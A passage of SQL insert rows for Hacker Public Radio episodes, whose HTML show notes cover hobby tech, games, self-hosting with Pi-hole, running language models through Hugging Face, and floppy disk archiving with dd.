(3931,'2023-08-28','What Instrument was played in hpr3905?',2040,'I reveal what instrument was played in hpr3905','<p>If you didn\'t really understand my mumbling and stuttering, here is\nthe page ;-)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nyckelharpa\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Nyckelharpa</a></p>\n',422,0,0,'CC-BY-SA','Music, quiz, Instrument',0,0,1),
(3938,'2023-09-06','An open directory of web audio stream',1116,'I was looking for an open directory of web audio streams and found radio hyphen browser dot info.','<h2 id=\"references\">References</h2>\n<p><a\nhref=\"https://www.radio-browser.info\">https://www.radio-browser.info</a>\nthe site has good searching features, and even has a player. It has a\nmap view that\'s cute but not too useful because it doesn\'t zoom in\nenough. Still fun to fly around the world and tune in simply by clicking\nthe balloons, you should try it.</p>\n<p>Mobile apps that use this directory are found on <a\nhref=\"https://www.radio-browser.info/users\">https://www.radio-browser.info/users</a>.\nThe ones I\'ve used are TuneFM (with ads, pay what you want (I think) to\nremove ads, but very good Android Auto), and Transistor (no Android\nAuto, otherwise perfect). Open Radio is pretty good but the Android Auto\nis buggy. I have not tried any others.</p>\n<p>The episode in which Ken Fallon interviewed one of the maintainers of\nFunkwhale was <a\nhref=\"https://hackerpublicradio.org/eps/hpr3808/index.html\">hpr3808</a>.</p>\n<p>Some stations I\'ve been listening to:</p>\n<ul>\n<li><a\nhref=\"https://www.radio-browser.info/history/05fa3620-96fe-4386-8ba8-3b793ee2ba44\">Radio\nMEC</a>: Brazilian state-controlled. Located in Rio de Janeiro. Plays\nmore uppity stuff.</li>\n<li><a\nhref=\"https://www.radio-browser.info/history/ee5b9ae4-52d6-4136-b731-fdb3f02e99fb\">Radio\nNacional Rio de Janeiro</a>: Brazilian state-controlled, located in Rio\nde Janeiro. Plays more popular music, football broadcasts. A good show\ncomes on every saturday at 11:00 BRT.</li>\n<li><a\nhref=\"https://www.radio-browser.info/history/b746312d-1fd9-44c5-9db2-de69a8db009f\">Radio\nLiga Samba</a>: Samba.</li>\n<li><a\nhref=\"https://www.radio-browser.info/history/abd4c17c-32eb-11e9-8f31-52543be04c81\">Kansas\nCity Online Radio</a>: an online-only Blues station. Seems to mostly\nsyndicate podcasts.</li>\n</ul>\n',399,0,0,'CC-BY-SA','\"internet radio\", \"free culture\"',0,0,1),
(3951,'2023-09-25','Cell Phone Screen Protectors',1720,'I talk about how I fail at Cell Phone Screen Protectors','<p>I talk about how I fail at Cell Phone Screen Protectors</p>\n',36,0,1,'CC-BY-SA','tech,phone repair,cell phones,Screen Protectors',0,0,1),
(3932,'2023-08-29','Short introduction to inxi',437,'folky gives the show about inxi that Ken wished for','<h2 id=\"link\">Link:</h2>\n<ul>\n<li><a href=\"https://github.com/smxi/inxi\">inxi - a command line system\ninformation tool</a></li>\n</ul>\n',309,23,0,'CC-BY-SA','shell,inxi,forum',0,0,1),
(3971,'2023-10-23','RERERE: How to make friends.',2164,'Sgoti and Mugs chat with friends about how to make friends on the internet.','<h2 id=\"rerere-how-to-make-friends.\">RERERE: How to make friends.</h2>\n<p>We could make a series of this?<br />\n</p>\n<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3904/index.html\">hpr3904 ::\nHow to make friends</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/eps/hpr3942/index.html\">hpr3942 ::\nRE: How to make friends.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Friendship\">Friendship</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Interpersonal_relationship\">Interpersonal\nrelationship</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Affection\">Affection</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Blood_brother\">Blood\nbrother.</a><br />\n</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Honour\">Honour</a><br />\n</p>\n<ul>\n<li>If one\'s honour is questioned, it can thus be important to disprove\nany false accusations or slander. In some cultures, the practice of\ndueling arose as a means to settle such disputes firmly, though by\nphysical dominance in force or skill rather than by objective\nconsideration of evidence and facts.<br />\n</li>\n</ul></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Ted_Bundy\">Ted Bundy</a><br />\n</p></li>\n</ul>\n<p>I thought this was funny: <a\nhref=\"https://www.wikihow.com/Ask-a-Friend-to-Hang-Out\">How to Ask a\nFriend to Hang Out.</a></p>\n',391,0,1,'CC-BY-SA','making friends, Mugsup, group chat',0,0,1),
(3944,'2023-09-14','Race for the Galaxy',947,'Tuula explains very basics of card game called Race for the Galaxy','<p>Race for the galaxy</p>\n<p>Race for the galaxy is a four player card game published by Rio\nGrande Games.</p>\n<p>The goal of the game is to build a space imperium and the player with\nmost victory points wins.</p>\n<p>There\'s also a computer version of the game, which saves you from\npacking up the game after playing.</p>\n<h1 id=\"turn-sequence\">Turn sequence</h1>\n<p>There are five phases in turn:</p>\n<ul>\n<li>Explore</li>\n<li>Develop</li>\n<li>Settle</li>\n<li>Consume</li>\n<li>Produce</li>\n</ul>\n<p>At the beginning of turn, every player selects one of these phases\nand selections are revealed simultaneously. Only selected phases will be\nplayed. Player who selected a phase gets a small bonus.</p>\n<p>Explore</p>\n<ul>\n<li>draw two cards and keep one</li>\n<li>bonus: draw five cards and keep one</li>\n<li>bonus: draw one additional card and keep one additional card</li>\n</ul>\n<p>Develop</p>\n<ul>\n<li>place development card in play and discard cards from your hand to\ncover the cost</li>\n<li>bonus: -1 to cost</li>\n</ul>\n<p>Settle</p>\n<ul>\n<li>place a planet card in play and discard cards from your hand to\ncover the cost</li>\n<li>except military planets, which you\'ll conquer with your military\nscore</li>\n<li>if it\'s a windfall world, produce on it</li>\n</ul>\n<p>Consume:</p>\n<ul>\n<li>use consume powers on cards to turn good into victory points</li>\n<li>you have to keep consuming until you can\'t anymore</li>\n<li>bonus: trade one goods card for 2-5 cards</li>\n<li>bonus: 2xVPs gain twice the victory points</li>\n</ul>\n<p>Produce:</p>\n<ul>\n<li>produce on regular planets</li>\n<li>bonus: produce on windfall planet</li>\n</ul>\n<p>repeat until:</p>\n<ul>\n<li>one empire is 12 cards big</li>\n<li>VP tokes run out</li>\n</ul>\n<p>score:</p>\n<ul>\n<li>points for cards on the table</li>\n<li>cards in the hand (+1 for each)</li>\n<li>VPs earned</li>\n</ul>\n<h1 id=\"special-rules\">special rules</h1>\n<ul>\n<li>cards on the table</li>\n<li>draw extra cards</li>\n<li>trade goods on planets</li>\n<li>add up your military score</li>\n<li>settle planets for cheaper</li>\n<li>have bigger empire limit</li>\n<li>produce on a windfall planet after discarding a card</li>\n<li>etc.</li>\n</ul>\n<h1 id=\"examples-of-cards\">Examples of cards</h1>\n<h2 id=\"star-nomad-raiders\">Star nomad raiders</h2>\n<ul>\n<li>military 2 planet, worth 1 vp</li>\n<li>+1 to military</li>\n<li>+2 cards when trading goods</li>\n</ul>\n<h2 id=\"terraforming-robots\">Terraforming robots</h2>\n<ul>\n<li>development 3, worth 2 vp</li>\n<li>draw 1 card after placing a world</li>\n<li>discard 1 rare elements good to gain 1 card and 1 vp</li>\n</ul>\n<h2 id=\"public-works\">Public works</h2>\n<ul>\n<li>development 1, worth 1 vp</li>\n<li>draw 1 card after placing a development</li>\n<li>discard 1 good to gain 1 vp</li>\n</ul>\n<h1 id=\"expansions\">Expansions</h1>\n<p>All expansions add new cards.</p>\n<h2 id=\"the-gathering-storm\">The gathering storm</h2>\n<blockquote>\n<ul>\n<li>goals (first and most)</li>\n<li>extra player</li>\n</ul>\n</blockquote>\n<h2 id=\"rebel-vs.-imperium\">Rebel vs. Imperium</h2>\n<blockquote>\n<ul>\n<li>solo play</li>\n<li>take over (conquer other player\'s worlds)</li>\n<li>extra player</li>\n</ul>\n</blockquote>\n<h2 id=\"brink-of-war\">Brink of War</h2>\n<blockquote>\n<dl>\n<dt>- prestige</dt>\n<dd>\n<ul>\n<li>counts as VP in the end</li>\n<li>can be used to perform actions</li>\n</ul>\n</dd>\n</dl>\n<ul>\n<li>requires two previous expansions</li>\n</ul>\n</blockquote>\n<h2 id=\"alien-artifacts\">Alien Artifacts</h2>\n<blockquote>\n<ul>\n<li>incompatible with previous expansions</li>\n<li>49 cards representing alien orb players can explore</li>\n<li>balance between expanding and exploring</li>\n</ul>\n</blockquote>\n<h1 id=\"verdict\">Verdict</h1>\n<ul>\n<li>fun and quick game</li>\n<li>every player concentrates on their own imperium</li>\n<li>keep an eye what opponent is doing (trading / military)</li>\n<li>cards are dense with information</li>\n</ul>\n<h1 id=\"example\">Example</h1>\n<ul>\n<li>I recorded myself playing against computer: [Race for the galaxy -\nthree medium AIs](<a\nhref=\"https://diode.zone/w/rw8z8pqeqAauENSufmgkjV\">https://diode.zone/w/rw8z8pqeqAauENSufmgkjV</a>).</li>\n<li>for some reason, you can\'t follow me outside of the instance</li>\n</ul>\n<h1 id=\"in-closing\">In closing</h1>\n<dl>\n<dt>- questions, comments, feedback?</dt>\n<dd>\n<ul>\n<li><a href=\"mailto:Tuula@mastodon.art\">Tuula@mastodon.art</a></li>\n<li>or even better, record your own episode</li>\n</ul>\n</dd>\n</dl>\n',364,0,0,'CC-BY-SA','race for the galaxy, card game',0,0,1),
(3953,'2023-09-27','Large language models and AI don\'t have any common sense',1090,'Learn how to load and run GPT-2 or Llama2 to test it with common sense questions.','<p>Hobson and Greg are working with volunteers to develop an open source\nAI that we call Qary (QA for question answering). We\'re adding plugins\nto support open source large language models (LLMs) like GPT-2 and\nLlama2. Here\'s how you can use LLMs in your own Python Programs.</p>\n<ol type=\"1\">\n<li>Create a Hugging Face account:</li>\n</ol>\n<ul>\n<li><a href=\"https://huggingface.co/join\">huggingface.co/join</a></li>\n</ul>\n<ol start=\"2\" type=\"1\">\n<li>Create and copy your access token:</li>\n</ol>\n<ul>\n<li><a href=\"https://huggingface.co/settings/tokens\">Your user\nprofile</a></li>\n</ul>\n<ol start=\"3\" type=\"1\">\n<li>Create a .env file with your access token string:</li>\n</ol>\n<pre class=\"bash\"><code>echo &quot;HUGGINGFACE_ACCESS_TOKEN=hf_...&quot; &gt;&gt; .env</code></pre>\n<ol start=\"4\" type=\"1\">\n<li>Load the <code>.env</code> variables in your python script using\n<code>dotenv</code> package and os.environ:</li>\n</ol>\n<ul>\n<li>TIP: Use <code>os.environ</code> to retrieve the dict of variable\nvalues rather than <code>dotenv.load_values</code>- Otherwise other\nenvironment variables that have been set by other shell scripts such as\n<code>.bashrc</code> will be ignored.</li>\n<li>This confused us when we were getting our GitLab CI-CD pipeline\nworking and deploying to Render.com.</li>\n<li>Each of your cloud services will have different approaches to\nsetting environment variables.</li>\n<li>This token string can be passed as a keyword argument to most of the\npipeline and model classes.</li>\n</ul>\n<pre class=\"python\"><code>import dotenv\ndotenv.load_dotenv()\nimport os\nenv = dict(os.environ)\ntoken = env[&#39;HUGGINGFACE_ACCESS_TOKEN&#39;]</code></pre>\n<ol start=\"5\" type=\"1\">\n<li>Find the path and name for the model on Hugging Face hub you want to\nuse:</li>\n</ol>\n<ul>\n<li>search for \"llama2\" in the top search bar on <a\nhref=\"https://huggingface.co/\">huggingface.co/</a></li>\n<li>TIP: don\'t hit enter at the end of your search, instead click on\n\"See 3958 model results for llama2\"</li>\n<li>I clicked on <a\nhref=\"https://huggingface.co/meta-llama/Llama-2-7b-chat-hf\">meta-llama/Llama-2-7b-chat-hf</a>\nto see the documentation</li>\n</ul>\n<ol start=\"6\" type=\"1\">\n<li>On the documentation page for your model you may have to apply for a\nlicense if it\'s not really open source but business source like Meta\ndoes with its AI so you can\'t use their models to compete with them</li>\n</ol>\n<ul>\n<li>Apply for a license to use Llama2 on <a\nhref=\"https://ai.meta.com/resources/models-and-libraries/llama-downloads/\">ai.meta.com</a>\nusing the same e-mail you used for your Hugging Face account.</li>\n</ul>\n<ol start=\"7\" type=\"1\">\n<li>Follow the <a\nhref=\"https://huggingface.co/docs/hub/security-tokens\">instructions on\nhuggingface.co</a> to authenticate your python session</li>\n</ol>\n<ul>\n<li>TIP: You\'ll need to use the kwarg <code>use_auth_token</code> in the\n<code>AutoModel.from_pretrained</code> or <code>pipeline</code>\nfunctions.</li>\n<li>And it should be set to the token from your Hugging Face profile\npage. The hugging face documentation says to use the <code>token</code>\nkwarg, but that never worked for me.</li>\n</ul>\n<pre class=\"python\"><code>from transformers import pipeline, set_seed\ngenerator = pipeline(&#39;text-generation&#39;, model=&#39;openai-gpt&#39;)\nq = &quot;2+2=&quot;\nresponses = generator(\n q,\n max_length=10,\n num_return_sequences=10\n )\nresponses</code></pre>\n<pre class=\"text\"><code>[{&#39;generated_text&#39;: &#39;2+2= 2.2, 1.1 and&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 3336 miles. they&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 2, = 2 = 2&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 4 = 2 = 5 \\n&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 0 ( 1 ) = =&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 6 times the speed of sound&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 2 times 5, 865&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 3 / 7 / 11 =&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 2 2 \\n 2 of 2&#39;},\n {&#39;generated_text&#39;: &#39;2+2= 1, 9 = 1,&#39;}]</code></pre>\n<p>Here\'s the cow leg counting question:</p>\n<pre class=\"python\"><code> q = &quot;There are 2 cows and 2 bulls, how many legs are there?&quot;\n responses = generator(\n f&quot;Question: {q}\\nAnswer: &quot;,\n max_length=30,\n num_return_sequences=10)\n answers = []\n for resp in responses:\n text = resp[&#39;generated_text&#39;]\n answers.append(text[text.find(&#39;Answer: &#39;)+9:])\n answers</code></pre>\n<pre class=\"text\"><code> &#39;four. \\n &quot; let me see if i have this straight&#39;,\n &#39;only 3. and three cows and 2 bulls are bigger than&#39;,\n &#39;2, 2, 1, 2. \\n &quot; not yet&#39;,\n &quot;one per cow, that&#39;s all there is. in fact&quot;,\n &#39;30. and what am i? oh, yes, about&#39;,\n &#39;one. the big, white bull that is bigger than 1&#39;,\n &#39;three. they need to be introduced to the cow population before&#39;,\n &quot;1. i don&#39;t know how many and where exactly ;&quot;,\n &#39;no 2. 2. two bulls for 1 bull and 2&#39;,\n &#39;1, there are 1.2, and 2, there are&#39;]</code></pre>\n',424,0,0,'CC-BY-SA','AI, GPT, GPT-2, Llama2, Hugging Face, Machine Learning, Deep Learning, Natural Language Processing',0,0,1),
(3937,'2023-09-05','Adventures in Pi-Hole',497,'Noodlez recounts their experience getting a pi-hole server','<h1 id=\"adventures-in-pi-hole\">Adventures in Pi-Hole</h1>\n<p>Hi all! Today I\'m gonna be talking about my adventures in setting up\nPi-hole. This will be without screenshots, but instead in all text,\nsorry! Also this is all written as kind of an \"Aftermath\" story. This is\nbeing written after the fact, so this might be missing some details, but\nmost of it is there.</p>\n<h2 id=\"intro-what-is-pi-hole\">Intro: What is Pi-hole</h2>\n<p><a href=\"https://pi-hole.net/\">Pi-hole</a> is a DNS/DHCP server that\nallows for easy network-wide ad-blocking, along with all the nice\ncustomizations that come with being a DNS server, such as custom\ndomains.</p>\n<h2 id=\"first-step-get-it-running\">First Step: Get it running</h2>\n<p>The first step was getting Pi-hole running. I did this using Docker\nCompose on a \"NAS\" which is honestly a full on server at this point. A\nquick copy/paste from <a\nhref=\"https://github.com/pi-hole/docker-pi-hole/#quick-start\">Pi-hole\'s\nREADME</a> and I was up and running! I set a singular system to use this\nas a DNS server, and after that, I figured I was set and ready to\ngo.</p>\n<h2 id=\"second-step-dhcp-town\">Second Step: DHCP town</h2>\n<p>Of course, I wasn\'t satisfied just finishing there. I want automatic\nDNS setting for any device that connects to my network. Of course, I\ncould just set the DNS upstream in my <a\nhref=\"https://openwrt.org/\">OpenWRT</a> router to use the IP address of\nmy server, but that isn\'t good enough for me. This means I\'d be missing\nout on automatic per-client information, since when setting a DNS server\nfor OpenWRT, it only sets itself to forward any DNS requests up to the\nDNS server, which means from Pi-hole\'s perspective, all the requests are\ncoming from the router and nowhere else. The solution is to set up\nPi-Hole as a DHCP server. Keep in mind this isn\'t a tutorial, so let\'s\ngo through what I did first. The first step was to turn on the DHCP\nserver in Pi-Hole. This was super easy, just a checkbox and click save.\nCool! Then I disabled the DHCP server in OpenWRT, and that was all set.\nA few restarting of network devices later, like my phone, and they\nautomatically connected to the Pi-Hole server, and worked like a charm.\nNext up, I set up Tailscale. I use <a\nhref=\"https://headscale.net/\">Headscale</a>, but the setup is\nessentially the same as if you were using Tailscale\'s UI. Set in the\nconfig to override local DNS, set the nameserver to the Tailscale IP\naddress of the server, and turn on magic DNS, et voila! Now to restart\nthe Tailscale nodes, and make sure that on the server, you set it to not\naccept the DNS from Tailscale. If you don\'t do that, it\'ll get in an\nendless loop of trying to use itself as the DNS server, and it\'s just no\ngood. Okay! It\'s all set, and I check the dashboard, and it\'s already\nblocking DNS requests. Perfect!</p>\n<h2 id=\"third-step-whoopsies\">Third Step: Whoopsies!</h2>\n<p>This was fine and great, but when I went to reboot my server, which I\ndo weekly, something bad happened. The interface for the server didn\'t\ncome up. This is a problem, since it\'s the DHCP server for my network,\nso without that working, the network was dead in the water. It can\'t\ngive out IP addresses. What\'s going on? I go ahead and access my server\ndirectly. No matter how hard I try, it can\'t connect to the interface.\nWhat\'s the big deal? Well this is pretty simple, and a question popped\nin my head that go me there. \"How does this server even get its IP\naddress?\" You see when I set up pi-hole, it just kept using the IP\naddress that the router gave it, which it was more than happy to use,\nbut the moment the router didn\'t have a DHCP server, the NAS didn\'t have\na way to get an IP address anymore. So what do you do then? The answer\nis pretty simple. Give the server a static IP. Make sure in the DHCP\nserver of pi-hole, you set a reservation in it for the server, then in\nNetworkManager, which I use, set it to have a static IP, and set its DNS\nto point to localhost. Perfect! This works like a charm!</p>\n<h2 id=\"fourth-step-adlists\">Fourth Step: Adlists</h2>\n<p>Okay, phew! Crisis averted. Just some missing networking knowledge.\nSo what\'s next up on the list? Hmmm... Let\'s see... The default adlist\nis kinda small, let\'s go see if we can find some new adlists. Apparently\nthis is more difficult than you\'d think. A quick search on DDG only came\nup with an equivalent search in GitHub. Not useful! I have no idea the\ntrustworthiness and stability of these adlists. Let\'s see. Another\nsearch leads to a Reddit article that then links to a different list.\nBingo! <a href=\"https://firebog.net/\">An Adlist list</a>. Exactly what I\nneeded. I went ahead and looked into these lists, and added a few of\nthem. Perfect!</p>\n<h2 id=\"fifth-step-maintenance\">Fifth Step: Maintenance</h2>\n<p><code>docker compose pull &amp;&amp; docker compose up -d</code><br />\nOf course, this isn\'t it. I actually use an a/b update scheme, but you\nget the gist. Updates are taken care of, and just make sure you try and\nkeep the server up as long as possible, and keep downtime to a\nminimum.</p>\n<h2 id=\"sixth-step-moving-off-the-nas\">Sixth Step: Moving off the\nNAS.</h2>\n<p>After a while of running this, the necessity of having the NAS on the\nwhole time was starting to get frustrating. The answer there was to move\nit off the NAS. I did this by installing it on a Raspberry Pi 3B,\nrunning Arch Linux ARM. The setup was identical to before once I had\ngotten ALARM running.</p>\n',423,0,0,'CC-BY-SA','pi-hole,linux,networking,self-hosting',0,0,1),
(3939,'2023-09-07','How I got into tech and hacking',1238,'Getting interested in tech can start in both odd and familiar places. This is Trixter\'s story.','<p>In the show, I mention that leaving Mark Williams Company was \"a\nstory for another time\", but the short answer is that Linux crushed\nthem. Coherent Unix had to make a choice to compete with either Windows,\nSCO Unix, or Linux, and had enough budget to add either X Windows or\nTCP/IP networking. They chose X11, and IMO that killed any chance of\nCoherent Unix being useful in a world of Linux and FreeBSD.</p>\n',149,29,0,'CC-BY-SA','demoscene, hacking, programming, assembly, gaming',0,0,1),
(3943,'2023-09-13','Why my Dell does it better on Linux.',745,'Knightwise talks about how he uses his Dell XPS 15 with Linux.','<p>The Config of my Dell XPS 15</p>\n<pre><code> .-:/++oooo++/:-. knightwise@Hawking\n `:/oooooooooooooooooo/-` ------------------\n -/oooooooooooooooooooo+ooo/- OS: Ubuntu Cinnamon 22.04.3 LTS x86_\n .+oooooooooooooooooo+/-`.ooooo+. Host: XPS 15 7590\n :oooooooooooo+//:://++:. .ooooooo: Kernel: 6.2.0-26-generic\n /oooooooooo+o:`.----.``./+/oooooooo/ Uptime: 4 mins\n /ooooooooo+. +ooooooooo+:``/ooooooooo/ Packages: 2457 (dpkg), 19 (snap)\n.ooooooooo: .+ooooooooooooo- -ooooooooo. Shell: bash 5.1.16\n/oooooo/o+ .ooooooo:`+oo+ooo- :oooooooo/ Resolution: 1920x1080\nooo+:. .o: :ooooo:` .+/. ./o+:/ooooooooo DE: Cinnamon 5.2.7\noooo/-`.o: :ooo/` `/+. ./.:ooooooooo WM: Mutter (Muffin)\n/oooooo+o+``++. `:+- /oooooooo/ WM Theme: Yaru-Cinnamon-Dark (Yaru-C\n.ooooooooo/`` -+:` :ooooooooo. Theme: Yaru-Cinnamon-Dark [GTK2/3]\n /ooooooooo+--+/` .+ooooooooo/ Icons: Yaru-Cinnamon [GTK2/3]\n /ooooooooooo+.` `.:++:oooooooo/ Terminal: gnome-terminal\n :oooooooooooooo++++oo+-` .ooooooo: CPU: Intel i7-9750H (12) @ 4.500GHz\n .+ooooooooooooooooooo+:..ooooo+. GPU: Intel CoffeeLake-H GT2 [UHD Gra\n -/oooooooooooooooooooooooo/- GPU: NVIDIA GeForce GTX 1650 Mobile\n `-/oooooooooooooooooo/:` Memory: 2736MiB / 31723MiB\n</code></pre>\n',111,0,0,'CC-BY-SA','linux, ',0,0,1),
(3949,'2023-09-21','How I use virtualisation to tame my Social Media addiction.',937,'Knightwise talks about the command line applications he uses to fight his Social Media addiction.','<p>Apps I talk about</p>\n<ul>\n<li><p>Irssi: <a href=\"https://irssi.org/\"\nclass=\"uri\">https://irssi.org/</a></p></li>\n<li><p>Tuir: <a href=\"https://gitlab.com/ajak/tuir\"\nclass=\"uri\">https://gitlab.com/ajak/tuir</a></p></li>\n<li><p>Discordo: <a href=\"https://github.com/ayn2op/discordo\"\nclass=\"uri\">https://github.com/ayn2op/discordo</a></p></li>\n<li><p>Tailscale: <a href=\"https://tailscale.com/\"\nclass=\"uri\">https://tailscale.com/</a></p></li>\n<li><p>HyperV : <a\nhref=\"https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/about/\"\nclass=\"uri\">https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/about/</a></p></li>\n</ul>\n',111,0,0,'CC-BY-SA','linux, tailscale, vpn, social media, reddit, irc, discord,',0,0,1),
(3947,'2023-09-19','Archiving Floppy Disks',1009,'This show describes how I go about archiving old floppy disks.','<h1>Archiving Floppy Disks</h1>\n\n<h2>Summary</h2>\n\n<p>This show describes how I go about archiving old floppy\ndisks. These disks date back to the early 90s when floppy disks were a\ncommon way of installing software on personal computers. They were\nalso used as a portable storage mechanism for data files.</p>\n\n<h2>Equipment That I\'m Using</h2>\n\n<ul>\n<li>IBM ThinkCentre desktop computer with a 3.5in floppy disk drive</li>\n<li>Installed the 32-bit version of Slackware 14.2</li>\n</ul>\n\n<h2>Making an image of an entire floppy disk</h2>\n<code>dd if=/dev/fd0 of=filename.dsk</code>\n\n<h2>Making a floppy disk from a disk image</h2>\n<code>dd if=filename.dsk of=/dev/fd0</code>\n\n<h2>Copy files from a floppy disk</h2>\n<code>\nmount -t msdos /dev/fd0 /mnt/floppy<br>\ncd /mnt/floppy<br>\ncp filename /some/destination/path/filename<br>\ncd<br>\numount /mnt/floppy\n</code>\n\n',334,0,0,'CC-BY-SA','floppy, disk, archive, linux, commands',0,0,1),
(3948,'2023-09-20','Cleaning up my mancave and talking about Creativity',1591,'Knightwise sets up his podcast rig in a messy attic and talks about the stuff lying around','<p>Just a Random babble as I setup my podcasting rig in the office,\nclearing out some old stuff and telling you about what I encounter.</p>\n',111,0,0,'CC-BY-SA','linux, podcasting, retro',0,0,1),
(3958,'2023-10-04','Bikepacking in 1993 without technology',1163,'Knightwise looks back at his very first bikepacking adventure and its absence of technology','<p>My 5 day Ride from Oostende to Le Havre (540km)</p>\n<ul>\n<li>Oostende: <a href=\"https://goo.gl/maps/1CFXuHeBcHpHX3RZ8\"\nclass=\"uri\">https://goo.gl/maps/1CFXuHeBcHpHX3RZ8</a></li>\n<li>Calais: <a href=\"https://goo.gl/maps/1CFXuHeBcHpHX3RZ8\"\nclass=\"uri\">https://goo.gl/maps/1CFXuHeBcHpHX3RZ8</a></li>\n<li>Boulogne: <a href=\"https://goo.gl/maps/1CFXuHeBcHpHX3RZ8\"\nclass=\"uri\">https://goo.gl/maps/1CFXuHeBcHpHX3RZ8</a></li>\n<li>Le Treport: <a href=\"https://goo.gl/maps/1CFXuHeBcHpHX3RZ8\"\nclass=\"uri\">https://goo.gl/maps/1CFXuHeBcHpHX3RZ8</a></li>\n<li>Dieppe: <a href=\"https://goo.gl/maps/Pn4K2DuATVAFoCPV8\"\nclass=\"uri\">https://goo.gl/maps/Pn4K2DuATVAFoCPV8</a></li>\n<li>Yvetot: <a href=\"https://goo.gl/maps/Pn4K2DuATVAFoCPV8\"\nclass=\"uri\">https://goo.gl/maps/Pn4K2DuATVAFoCPV8</a></li>\n<li>Le-Havre : <a href=\"https://goo.gl/maps/Pn4K2DuATVAFoCPV8\"\nclass=\"uri\">https://goo.gl/maps/Pn4K2DuATVAFoCPV8</a></li>\n</ul>\n',111,0,0,'CC-BY-SA','cycling, soundseeing, travel, technology, ',0,0,1),
(3952,'2023-09-26','Making the Case for Markdown',404,'Keith discusses the background and applications for Markdown.','<p>Links to things mentioned in this episode:</p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/LAMP_(software_bundle)\">LAMP\nStack</a> (wikipedia)</li>\n<li><a\nhref=\"https://wordpress.org/news/2023/05/celebrating-20-years-of-wordpress/\">WordPress\nis 20 years old</a></li>\n<li><a href=\"https://daringfireball.net/projects/markdown/\">Daring\nFireball Markdown Page</a></li>\n<li><a href=\"https://jekyllrb.com/\">Jekyll</a></li>\n<li><a href=\"https://obsidian.md/\">Obsidian</a></li>\n<li><a\nhref=\"https://pandoc.org/chunkedhtml-demo/8.22-markdown-variants.html\">Variants\nof Markdown syntax</a></li>\n</ul>\n',266,0,0,'CC-BY-SA','markdown,plain text,writing,text editors,file formats',0,0,1),
(3954,'2023-09-28','Sedating HPR at the Steading',4462,'MrX and Dave Morriss have lunch and record another chat','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave\nMorriss</a></li>\n</ul>\n<p>We recorded this on Sunday September 3<sup>rd</sup> 2023. We met in\nperson again, and as before first visited the pub called <em>The\nSteading</em> where we had lunch. Then we adjourned to Dave\'s car in the\ncar park, and recorded a chat.</p>\n<p>The name \"Steading\" is another (Scots?) version of \"Farmstead\", and\nmeans the same. It\'s also an anagram of \"Sedating\"<a href=\"#fn1\"\nclass=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>, so\n...</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Vaccines:\n<ul>\n<li>Dave has an appointment for <a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_vaccine\">COVID-19</a> and\ninfluenza vaccines. The new <a\nhref=\"https://en.wikipedia.org/wiki/SARS-CoV-2_Omicron_variant\">Omicron\nvariant</a> BA.2.86 has prompted another booster for some people.</li>\n<li>Discussion of <a\nhref=\"https://en.wikipedia.org/wiki/Smallpox_vaccine\">Smallpox</a>\nvaccination</li>\n<li>MrX has an appointment for an influenza vaccine</li>\n</ul></li>\n</ul>\n<ul>\n<li>Glasgow:\n<ul>\n<li>MrX and <em>MrsX</em> recently stayed in Glasgow for a holiday</li>\n<li><a href=\"https://www.pointahotels.com/our-hotels/glasgow/\">Point A\nHotel</a> - boutique hotel</li>\n<li><a href=\"https://glasgow.junglerumble.co.uk/\">Jungle Rumble</a> -\nindoor golf with UV lighting!</li>\n<li>Wikipedia: <a\nhref=\"https://en.wikipedia.org/wiki/Glasgow_Subway\">Glasgow\nSubway</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Edinburgh:\n<ul>\n<li>Dave took a trip on the recently extended <a\nhref=\"https://edinburghtrams.com/\">Edinburgh tram</a>\n<ul>\n<li>There is only one route, from the airport to Leith (port).</li>\n<li>Older residents get free access.</li>\n</ul></li>\n<li>MrX and MrsX recently walked from the centre of Edinburgh along the\n<a href=\"https://www.waterofleith.org.uk/\">Water of Leith</a> to the\narea where the tram terminus is at Newhaven.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Email:\n<ul>\n<li>Dave is using version <a\nhref=\"https://www.thunderbird.net/en-GB/\">Thunderbird</a> 115.1.1 which\nis a rewrite of the original series where the API has now changed a\nlot.</li>\n<li>Long-used add-ons now no longer work:\n<ul>\n<li>A favourite was <em>Mailbox Alert</em> which triggered sound alerts\n(or others) then mail arrived in a folder - so this could be after\nfiltering. This was much more useful than the traditional \"You have\nmail\" type alerts.</li>\n</ul></li>\n<li>Discussion of tags:\n<ul>\n<li>MrX mentions tags, meaning bits of text that can be attached to\nmessages and used to classify them and to search for them.</li>\n<li>In Gmail there are <em>labels</em> which can do this and these can\nbe used to group messages regardless of folders</li>\n<li>Thunderbird also has this concept which it calls <em>tags</em>. It\ncomes with pre-defined 